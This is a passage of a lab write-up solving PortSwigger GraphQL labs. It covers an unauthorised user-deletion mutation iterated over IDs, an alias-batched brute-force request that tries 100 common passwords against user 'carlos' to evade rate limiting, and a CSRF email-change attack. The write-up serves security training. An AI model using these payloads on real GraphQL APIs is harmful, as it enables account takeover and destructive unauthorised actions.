So I save introspection response body as a JSON file. In InQL Scanner I scan the saved file & I found this
mutation {
deleteOrganizationUser(input:{id: 1334}) {
user {
id
}
}
}
The same was passed in GET request via URL Encoding
mutation%20%7B%0A%09deleteOrganizationUser%28input%3A%7Bid%3A%201334%7D%29%20%7B%0A%09%09user%20%7B%0A%09%09%09id%0A%09%09%7D%0A%09%7D%0A%7D
The Outcome:
By playing with the ID 1334 to 1,2,3 — > BooM !
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 97{
"data": {
"deleteOrganizationUser": {
"user": {
"id": <ID>
}
}
}
}
Pwned…!
Lab 4→ Bypassing GraphQL brute force protections
Challenge description: The user login mechanism for this lab is powered by a GraphQL API. The API endpoint has a rate limiter that returns an error if it receives too many requests from the same origin in a short space of time.
To solve the lab, brute force the login mechanism to sign in as carlos. Use the list of authentication lab passwords as your password source.
Important — Tip
This lab requires you to craft a large request that uses aliases to send multiple login attempts at the same time. As this request could be time-consuming to create manually, we recommend you use a script to build the request.
The below example JavaScript builds a list of aliases corresponding to our list of authentication lab passwords and copies the request to your clipboard. To run this script:
Open the lab in Burp’s browser.
Right-click the page and select Inspect.
Select the Console tab.
Paste the script and press Enter.
You can then use the generated aliases when crafting your request in Repeater
copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(',').map((element,index)=>` bruteforce$index:login(input:{password: "$password", username: "carlos"}) { token success } `.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard.");
How To Hack:
By using the above Tip we can easily bypass the Brute Force protection. The Login Request will looks like:
POST /graphql/v1 HTTP/1.1
Host: xxxxxx.web-security-academy.net
Cookie: session=7h3h4ckv157
Content-Length: 232
Sec-Ch-Ua:
Accept: application/json
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: 7h3h4ckv157
Origin: https://0a4c008303cc1b9c81f467bc00fd001e.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a4c008303cc1b9c81f467bc00fd001e.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close{"query":"\n mutation login($input: LoginInput!) {\n login(input: $input) {\n token\n success\n }\n }","operationName":"login","variables":{"input":{"username":"wiener","password":"peter"}}}
The Request body looks like:
{"query":"\n mutation login($input: LoginInput!) {\n login(input: $input) {\n token\n success\n }\n }","operationName":"login","variables":{"input":{"username":"wiener","password":"peter"}}}
The outcome of the Tip (mentioned above) gives us GraphQL Query, which makes easy to brute:
bruteforce0:login(input:{password: "123456", username: "carlos"}) { token success }
bruteforce1:login(input:{password: "password", username: "carlos"}) { token success }
bruteforce2:login(input:{password: "12345678", username: "carlos"}) { token success }
bruteforce3:login(input:{password: "qwerty", username: "carlos"}) { token success }
bruteforce4:login(input:{password: "123456789", username: "carlos"}) { token success }
bruteforce5:login(input:{password: "12345", username: "carlos"}) { token success }
bruteforce6:login(input:{password: "1234", username: "carlos"}) { token success }
bruteforce7:login(input:{password: "111111", username: "carlos"}) { token success }
bruteforce8:login(input:{password: "1234567", username: "carlos"}) { token success }
bruteforce9:login(input:{password: "dragon", username: "carlos"}) { token success }
bruteforce10:login(input:{password: "123123", username: "carlos"}) { token success }
bruteforce11:login(input:{password: "baseball", username: "carlos"}) { token success }
bruteforce12:login(input:{password: "abc123", username: "carlos"}) { token success }
bruteforce13:login(input:{password: "football", username: "carlos"}) { token success }
bruteforce14:login(input:{password: "monkey", username: "carlos"}) { token success }
bruteforce15:login(input:{password: "letmein", username: "carlos"}) { token success }
bruteforce16:login(input:{password: "shadow", username: "carlos"}) { token success }
bruteforce17:login(input:{password: "master", username: "carlos"}) { token success }
bruteforce18:login(input:{password: "666666", username: "carlos"}) { token success }
bruteforce19:login(input:{password: "qwertyuiop", username: "carlos"}) { token success }
bruteforce20:login(input:{password: "123321", username: "carlos"}) { token success }
bruteforce21:login(input:{password: "mustang", username: "carlos"}) { token success }
bruteforce22:login(input:{password: "1234567890", username: "carlos"}) { token success }
bruteforce23:login(input:{password: "michael", username: "carlos"}) { token success }
bruteforce24:login(input:{password: "654321", username: "carlos"}) { token success }
bruteforce25:login(input:{password: "superman", username: "carlos"}) { token success }
bruteforce26:login(input:{password: "1qaz2wsx", username: "carlos"}) { token success }
bruteforce27:login(input:{password: "7777777", username: "carlos"}) { token success }
bruteforce28:login(input:{password: "121212", username: "carlos"}) { token success }
bruteforce29:login(input:{password: "000000", username: "carlos"}) { token success }
bruteforce30:login(input:{password: "qazwsx", username: "carlos"}) { token success }
bruteforce31:login(input:{password: "123qwe", username: "carlos"}) { token success }
bruteforce32:login(input:{password: "killer", username: "carlos"}) { token success }
bruteforce33:login(input:{password: "trustno1", username: "carlos"}) { token success }
bruteforce34:login(input:{password: "jordan", username: "carlos"}) { token success }
bruteforce35:login(input:{password: "jennifer", username: "carlos"}) { token success }
bruteforce36:login(input:{password: "zxcvbnm", username: "carlos"}) { token success }
bruteforce37:login(input:{password: "asdfgh", username: "carlos"}) { token success }
bruteforce38:login(input:{password: "hunter", username: "carlos"}) { token success }
bruteforce39:login(input:{password: "buster", username: "carlos"}) { token success }
bruteforce40:login(input:{password: "soccer", username: "carlos"}) { token success }
bruteforce41:login(input:{password: "harley", username: "carlos"}) { token success }
bruteforce42:login(input:{password: "batman", username: "carlos"}) { token success }
bruteforce43:login(input:{password: "andrew", username: "carlos"}) { token success }
bruteforce44:login(input:{password: "tigger", username: "carlos"}) { token success }
bruteforce45:login(input:{password: "sunshine", username: "carlos"}) { token success }
bruteforce46:login(input:{password: "iloveyou", username: "carlos"}) { token success }
bruteforce47:login(input:{password: "2000", username: "carlos"}) { token success }
bruteforce48:login(input:{password: "charlie", username: "carlos"}) { token success }
bruteforce49:login(input:{password: "robert", username: "carlos"}) { token success }
bruteforce50:login(input:{password: "thomas", username: "carlos"}) { token success }
bruteforce51:login(input:{password: "hockey", username: "carlos"}) { token success }
bruteforce52:login(input:{password: "ranger", username: "carlos"}) { token success }
bruteforce53:login(input:{password: "daniel", username: "carlos"}) { token success }
bruteforce54:login(input:{password: "starwars", username: "carlos"}) { token success }
bruteforce55:login(input:{password: "klaster", username: "carlos"}) { token success }
bruteforce56:login(input:{password: "112233", username: "carlos"}) { token success }
bruteforce57:login(input:{password: "george", username: "carlos"}) { token success }
bruteforce58:login(input:{password: "computer", username: "carlos"}) { token success }
bruteforce59:login(input:{password: "michelle", username: "carlos"}) { token success }
bruteforce60:login(input:{password: "jessica", username: "carlos"}) { token success }
bruteforce61:login(input:{password: "pepper", username: "carlos"}) { token success }
bruteforce62:login(input:{password: "1111", username: "carlos"}) { token success }
bruteforce63:login(input:{password: "zxcvbn", username: "carlos"}) { token success }
bruteforce64:login(input:{password: "555555", username: "carlos"}) { token success }
bruteforce65:login(input:{password: "11111111", username: "carlos"}) { token success }
bruteforce66:login(input:{password: "131313", username: "carlos"}) { token success }
bruteforce67:login(input:{password: "freedom", username: "carlos"}) { token success }
bruteforce68:login(input:{password: "777777", username: "carlos"}) { token success }
bruteforce69:login(input:{password: "pass", username: "carlos"}) { token success }
bruteforce70:login(input:{password: "maggie", username: "carlos"}) { token success }
bruteforce71:login(input:{password: "159753", username: "carlos"}) { token success }
bruteforce72:login(input:{password: "aaaaaa", username: "carlos"}) { token success }
bruteforce73:login(input:{password: "ginger", username: "carlos"}) { token success }
bruteforce74:login(input:{password: "princess", username: "carlos"}) { token success }
bruteforce75:login(input:{password: "joshua", username: "carlos"}) { token success }
bruteforce76:login(input:{password: "cheese", username: "carlos"}) { token success }
bruteforce77:login(input:{password: "amanda", username: "carlos"}) { token success }
bruteforce78:login(input:{password: "summer", username: "carlos"}) { token success }
bruteforce79:login(input:{password: "love", username: "carlos"}) { token success }
bruteforce80:login(input:{password: "ashley", username: "carlos"}) { token success }
bruteforce81:login(input:{password: "nicole", username: "carlos"}) { token success }
bruteforce82:login(input:{password: "chelsea", username: "carlos"}) { token success }
bruteforce83:login(input:{password: "biteme", username: "carlos"}) { token success }
bruteforce84:login(input:{password: "matthew", username: "carlos"}) { token success }
bruteforce85:login(input:{password: "access", username: "carlos"}) { token success }
bruteforce86:login(input:{password: "yankees", username: "carlos"}) { token success }
bruteforce87:login(input:{password: "987654321", username: "carlos"}) { token success }
bruteforce88:login(input:{password: "dallas", username: "carlos"}) { token success }
bruteforce89:login(input:{password: "austin", username: "carlos"}) { token success }
bruteforce90:login(input:{password: "thunder", username: "carlos"}) { token success }
bruteforce91:login(input:{password: "taylor", username: "carlos"}) { token success }
bruteforce92:login(input:{password: "matrix", username: "carlos"}) { token success }
bruteforce93:login(input:{password: "mobilemail", username: "carlos"}) { token success }
bruteforce94:login(input:{password: "mom", username: "carlos"}) { token success }
bruteforce95:login(input:{password: "monitor", username: "carlos"}) { token success }
bruteforce96:login(input:{password: "monitoring", username: "carlos"}) { token success }
bruteforce97:login(input:{password: "montana", username: "carlos"}) { token success }
bruteforce98:login(input:{password: "moon", username: "carlos"}) { token success }
bruteforce99:login(input:{password: "moscow", username: "carlos"}) { token success }
The following query must be convert into JSON:
Convert it using any online JSON beautifier. Must include mutation in GraphQL: “mutation{…}”
POST /graphql/v1 HTTP/1.1
Host: xxxxxx.web-security-academy.net
Cookie: session=7h3h4ckv157
Content-Length: 8970
Sec-Ch-Ua:
Accept: application/json
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: 7h3h4ckv157
Origin: https://0a4c008303cc1b9c81f467bc00fd001e.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a4c008303cc1b9c81f467bc00fd001e.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close{
"query": "mutation{bruteforce0:login(input:{password: \"123456\", username: \"carlos\"}) { token success } bruteforce1:login(input:{password: \"password\", username: \"carlos\"}) { token success } bruteforce2:login(input:{password: \"12345678\", username: \"carlos\"}) { token success } bruteforce3:login(input:{password: \"qwerty\", username: \"carlos\"}) { token success } bruteforce4:login(input:{password: \"123456789\", username: \"carlos\"}) { token success } bruteforce5:login(input:{password: \"12345\", username: \"carlos\"}) { token success } bruteforce6:login(input:{password: \"1234\", username: \"carlos\"}) { token success } bruteforce7:login(input:{password: \"111111\", username: \"carlos\"}) { token success } bruteforce8:login(input:{password: \"1234567\", username: \"carlos\"}) { token success } bruteforce9:login(input:{password: \"dragon\", username: \"carlos\"}) { token success } bruteforce10:login(input:{password: \"123123\", username: \"carlos\"}) { token success } bruteforce11:login(input:{password: \"baseball\", username: \"carlos\"}) { token success } bruteforce12:login(input:{password: \"abc123\", username: \"carlos\"}) { token success } bruteforce13:login(input:{password: \"football\", username: \"carlos\"}) { token success } bruteforce14:login(input:{password: \"monkey\", username: \"carlos\"}) { token success } bruteforce15:login(input:{password: \"letmein\", username: \"carlos\"}) { token success } bruteforce16:login(input:{password: \"shadow\", username: \"carlos\"}) { token success } bruteforce17:login(input:{password: \"master\", username: \"carlos\"}) { token success } bruteforce18:login(input:{password: \"666666\", username: \"carlos\"}) { token success } bruteforce19:login(input:{password: \"qwertyuiop\", username: \"carlos\"}) { token success } bruteforce20:login(input:{password: \"123321\", username: \"carlos\"}) { token success } bruteforce21:login(input:{password: \"mustang\", username: \"carlos\"}) { token success } bruteforce22:login(input:{password: \"1234567890\", username: \"carlos\"}) { token success } bruteforce23:login(input:{password: \"michael\", username: \"carlos\"}) { token success } bruteforce24:login(input:{password: \"654321\", username: \"carlos\"}) { token success } bruteforce25:login(input:{password: \"superman\", username: \"carlos\"}) { token success } bruteforce26:login(input:{password: \"1qaz2wsx\", username: \"carlos\"}) { token success } bruteforce27:login(input:{password: \"7777777\", username: \"carlos\"}) { token success } bruteforce28:login(input:{password: \"121212\", username: \"carlos\"}) { token success } bruteforce29:login(input:{password: \"000000\", username: \"carlos\"}) { token success } bruteforce30:login(input:{password: \"qazwsx\", username: \"carlos\"}) { token success } bruteforce31:login(input:{password: \"123qwe\", username: \"carlos\"}) { token success } bruteforce32:login(input:{password: \"killer\", username: \"carlos\"}) { token success } bruteforce33:login(input:{password: \"trustno1\", username: \"carlos\"}) { token success } bruteforce34:login(input:{password: \"jordan\", username: \"carlos\"}) { token success } bruteforce35:login(input:{password: \"jennifer\", username: \"carlos\"}) { token success } bruteforce36:login(input:{password: \"zxcvbnm\", username: \"carlos\"}) { token success } bruteforce37:login(input:{password: \"asdfgh\", username: \"carlos\"}) { token success } bruteforce38:login(input:{password: \"hunter\", username: \"carlos\"}) { token success } bruteforce39:login(input:{password: \"buster\", username: \"carlos\"}) { token success } bruteforce40:login(input:{password: \"soccer\", username: \"carlos\"}) { token success } bruteforce41:login(input:{password: \"harley\", username: \"carlos\"}) { token success } bruteforce42:login(input:{password: \"batman\", username: \"carlos\"}) { token success } bruteforce43:login(input:{password: \"andrew\", username: \"carlos\"}) { token success } bruteforce44:login(input:{password: \"tigger\", username: \"carlos\"}) { token success } bruteforce45:login(input:{password: \"sunshine\", username: \"carlos\"}) { token success } bruteforce46:login(input:{password: \"iloveyou\", username: \"carlos\"}) { token success } bruteforce47:login(input:{password: \"2000\", username: \"carlos\"}) { token success } bruteforce48:login(input:{password: \"charlie\", username: \"carlos\"}) { token success } bruteforce49:login(input:{password: \"robert\", username: \"carlos\"}) { token success } bruteforce50:login(input:{password: \"thomas\", username: \"carlos\"}) { token success } bruteforce51:login(input:{password: \"hockey\", username: \"carlos\"}) { token success } bruteforce52:login(input:{password: \"ranger\", username: \"carlos\"}) { token success } bruteforce53:login(input:{password: \"daniel\", username: \"carlos\"}) { token success } bruteforce54:login(input:{password: \"starwars\", username: \"carlos\"}) { token success } bruteforce55:login(input:{password: \"klaster\", username: \"carlos\"}) { token success } bruteforce56:login(input:{password: \"112233\", username: \"carlos\"}) { token success } bruteforce57:login(input:{password: \"george\", username: \"carlos\"}) { token success } bruteforce58:login(input:{password: \"computer\", username: \"carlos\"}) { token success } bruteforce59:login(input:{password: \"michelle\", username: \"carlos\"}) { token success } bruteforce60:login(input:{password: \"jessica\", username: \"carlos\"}) { token success } bruteforce61:login(input:{password: \"pepper\", username: \"carlos\"}) { token success } bruteforce62:login(input:{password: \"1111\", username: \"carlos\"}) { token success } bruteforce63:login(input:{password: \"zxcvbn\", username: \"carlos\"}) { token success } bruteforce64:login(input:{password: \"555555\", username: \"carlos\"}) { token success } bruteforce65:login(input:{password: \"11111111\", username: \"carlos\"}) { token success } bruteforce66:login(input:{password: \"131313\", username: \"carlos\"}) { token success } bruteforce67:login(input:{password: \"freedom\", username: \"carlos\"}) { token success } bruteforce68:login(input:{password: \"777777\", username: \"carlos\"}) { token success } bruteforce69:login(input:{password: \"pass\", username: \"carlos\"}) { token success } bruteforce70:login(input:{password: \"maggie\", username: \"carlos\"}) { token success } bruteforce71:login(input:{password: \"159753\", username: \"carlos\"}) { token success } bruteforce72:login(input:{password: \"aaaaaa\", username: \"carlos\"}) { token success } bruteforce73:login(input:{password: \"ginger\", username: \"carlos\"}) { token success } bruteforce74:login(input:{password: \"princess\", username: \"carlos\"}) { token success } bruteforce75:login(input:{password: \"joshua\", username: \"carlos\"}) { token success } bruteforce76:login(input:{password: \"cheese\", username: \"carlos\"}) { token success } bruteforce77:login(input:{password: \"amanda\", username: \"carlos\"}) { token success } bruteforce78:login(input:{password: \"summer\", username: \"carlos\"}) { token success } bruteforce79:login(input:{password: \"love\", username: \"carlos\"}) { token success } bruteforce80:login(input:{password: \"ashley\", username: \"carlos\"}) { token success } bruteforce81:login(input:{password: \"nicole\", username: \"carlos\"}) { token success } bruteforce82:login(input:{password: \"chelsea\", username: \"carlos\"}) { token success } bruteforce83:login(input:{password: \"biteme\", username: \"carlos\"}) { token success } bruteforce84:login(input:{password: \"matthew\", username: \"carlos\"}) { token success } bruteforce85:login(input:{password: \"access\", username: \"carlos\"}) { token success } bruteforce86:login(input:{password: \"yankees\", username: \"carlos\"}) { token success } bruteforce87:login(input:{password: \"987654321\", username: \"carlos\"}) { token success } bruteforce88:login(input:{password: \"dallas\", username: \"carlos\"}) { token success } bruteforce89:login(input:{password: \"austin\", username: \"carlos\"}) { token success } bruteforce90:login(input:{password: \"thunder\", username: \"carlos\"}) { token success } bruteforce91:login(input:{password: \"taylor\", username: \"carlos\"}) { token success } bruteforce92:login(input:{password: \"matrix\", username: \"carlos\"}) { token success } bruteforce93:login(input:{password: \"mobilemail\", username: \"carlos\"}) { token success } bruteforce94:login(input:{password: \"mom\", username: \"carlos\"}) { token success } bruteforce95:login(input:{password: \"monitor\", username: \"carlos\"}) { token success } bruteforce96:login(input:{password: \"monitoring\", username: \"carlos\"}) { token success } bruteforce97:login(input:{password: \"montana\", username: \"carlos\"}) { token success } bruteforce98:login(input:{password: \"moon\", username: \"carlos\"}) { token success } bruteforce99:login(input:{password: \"moscow\", username: \"carlos\"}) { token success }}"
}
Successfully Bypassed!
Lab 5 → Performing CSRF exploits over GraphQL
Challenge description: The user management functions for this lab are powered by a GraphQL endpoint. The endpoint accepts requests with a content-type of
x-www-form-urlencoded
and is therefore vulnerable to cross-site request forgery (CSRF) attacks.To solve the lab, craft some HTML that uses a CSRF attack to change the viewer’s email address, then upload it to your exploit server
How to Hack:
The endpoint accepts requests with a content-type of x-www-form-urlencoded, thus we can send the query from InQL Scanner like GraphQ-POST Urlencoded
The Query:
mutation {
changeEmail(input:{email: “code*”}) {
email
}
}
Request:
POST /https://xxxxxx.web-security-academy.net:443/graphql/v1?query=%0A%20%20%20%20mutation%20changeEmail(%24input%3A%20ChangeEmailInput!)%20%7B%0A%20%20%20%20%20%20%20%20changeEmail(input%3A%20%24input)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20email%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A&variables=%7B%22input%22%3A%20%7B%22email%22%3A%20%22me%40me%22%7D%7D HTTP/1.1
Accept-Encoding: gzip, deflate
Connection: close
User-Agent: 7h3h4ckv157
Host: localhost:5612
Content-Length: 746
Content-Type: application/x-www-form-urlencodedquery=mutation+%7B%0A%09changeEmail%28input%3A%7Bemail%3A+%22code%2A%22%7D%29+%7B%0A%09%09email%0A%09%7D%0A%7D%0D%0A%0D%0A
But the response:
{
"errors": [
{
"locations": [
{
"line": 2,
"column": 26
}
],
"message": "Variable 'input' has an invalid value: Variable 'input' has coerced Null value for NonNull type 'ChangeEmailInput!'"
}
]
}
“message”: “Variable ‘input’ has an invalid value: Variable ‘input’ has coerced Null value for NonNull type ‘ChangeEmailInput!’”
By reading the error message we can understand variable “input” has invalid value.
The body of original request for changing mail looks like:
{"query":"\n mutation changeEmail($input: ChangeEmailInput!) {\n changeEmail(input: $input) {\n email\n }\n }\n","operationName":"changeEmail","variables":{"input":{"email":"me@me"}}}
So, I changed my exploit test request body end as:
variables={“input”:{“email”:”7h3h4ckv157@me”}}
Which perfectly worked fine!
I created a CSRF exploit by changing email value & using the exploit server I deliver the same
Conclusion
As GraphQL gains popularity and becomes an integral part of modern web applications, it also draws the attention of malicious actors seeking vulnerabilities to exploit. Preventing GraphQL attacks is the responsibility for developers, businesses, and organizations alike.
By adopting a security-first mindset, staying informed about emerging threats, and implementing robust security measures, we can fortify our GraphQL APIs against potential attacks. Protecting sensitive data, preserving user trust, and ensuring the uninterrupted operation of our applications depend on our proactive efforts to prevent GraphQL attacks.
Remember, securing your GraphQL API is an ongoing process. Regular audits, thorough testing, and continuous monitoring are fundamental aspects of maintaining a strong security posture. Let us collaborate to create a safer digital environment and defend against the evolving threat landscape.
By prioritizing the prevention of GraphQL attacks, we can confidently embrace the full potential of GraphQL while keeping our systems and users safe from harm.
Feel free to connect with me. See you all next time,